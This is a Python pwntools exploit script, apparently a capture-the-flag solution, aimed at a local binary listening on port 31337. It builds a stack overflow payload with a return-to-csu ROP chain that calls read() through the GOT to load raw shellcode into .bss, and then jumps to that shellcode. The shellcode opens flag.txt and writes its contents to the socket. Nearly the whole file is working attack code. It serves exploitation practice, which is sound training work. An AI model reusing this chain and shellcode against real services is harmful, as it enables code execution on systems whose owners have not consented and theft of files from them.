#!/usr/bin/env python

from pwn import *

with context.quiet:
    program = subprocess.Popen('./program', shell=True)

    p = remote('localhost', 31337)

    '''
    look at "return-to-csu: A New Method to Bypass 64-bit Linux ASLR" Blackhat talk
    https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf

    400bf0:       4c 89 fa                mov    rdx,r15
    400bf3:       4c 89 f6                mov    rsi,r14
    400bf6:       44 89 ef                mov    edi,r13d
    400bf9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
    400bfd:       48 83 c3 01             add    rbx,0x1
    400c01:       48 39 dd                cmp    rbp,rbx
    400c04:       75 ea                   jne    400bf0 <__libc_csu_init+0x40>
    400c06:       48 83 c4 08             add    rsp,0x8
    400c0a:       5b                      pop    rbx
    400c0b:       5d                      pop    rbp
    400c0c:       41 5c                   pop    r12
    400c0e:       41 5d                   pop    r13
    400c10:       41 5e                   pop    r14
    400c12:       41 5f                   pop    r15
    400c14:       c3                      ret
    '''

    # we should be careful to replace the buffer counter with a proper value
    payload  = 'A' * 76 + '\x4d' + '\x00' * 3 + 'B' * 8

    # r12 + rbx * 8 = 0x602050 (read's GOT)

    payload += p64(0x400c06)              # add rsp, 0x8; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
    payload += p64(0)                     # garbage to skip (add rsp, 0x8)
    payload += p64(0)                     # rbx = 0
    payload += p64(0x1)                   # rbp = 1 (in order to pass the "add rbx, 0x1; cmp rbp, rbx")
    payload += p64(0x602050)              # set r12 = 0x602050 (read's GOT) in order to met "r12 + rbx * 8 == 0x602050"

    # read(fd, .bss, 0x100)
    payload += p64(0x4)                   # r13 == rdi == fd == 0x4
    payload += p64(0x6020a0)              # r14 == rsi == .bss address == 0x6020a0
    payload += p64(0x100)                 # r15 == rdx == 0x100 (size)

    payload += p64(0x400bf0)              # mov rdx, r15; mov rsi, r14; mov edi, r13d; call QWORD PTR [r12+rbx*8] ...

    payload += p64(0) * 7                 # garbage until reach the ret

    payload += p64(0x6020a0)              # jump to .bss to run the shellcode

    p.sendline(payload)

    '''
    shell code to read the flag and write it to socket
    '''

    p.sendline('\xeb\x34\x5f\xbe\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x0f\x05\xeb\x33\x48\x89\xc7\x5e\x56\xba\x00\x01\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x04\x00\x00\x00\x5e\xba\x00\x01\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xeb\x13\xe8\xc7\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\xe8\xc8\xff\xff\xff')

    program.terminate()
    p.interactive()

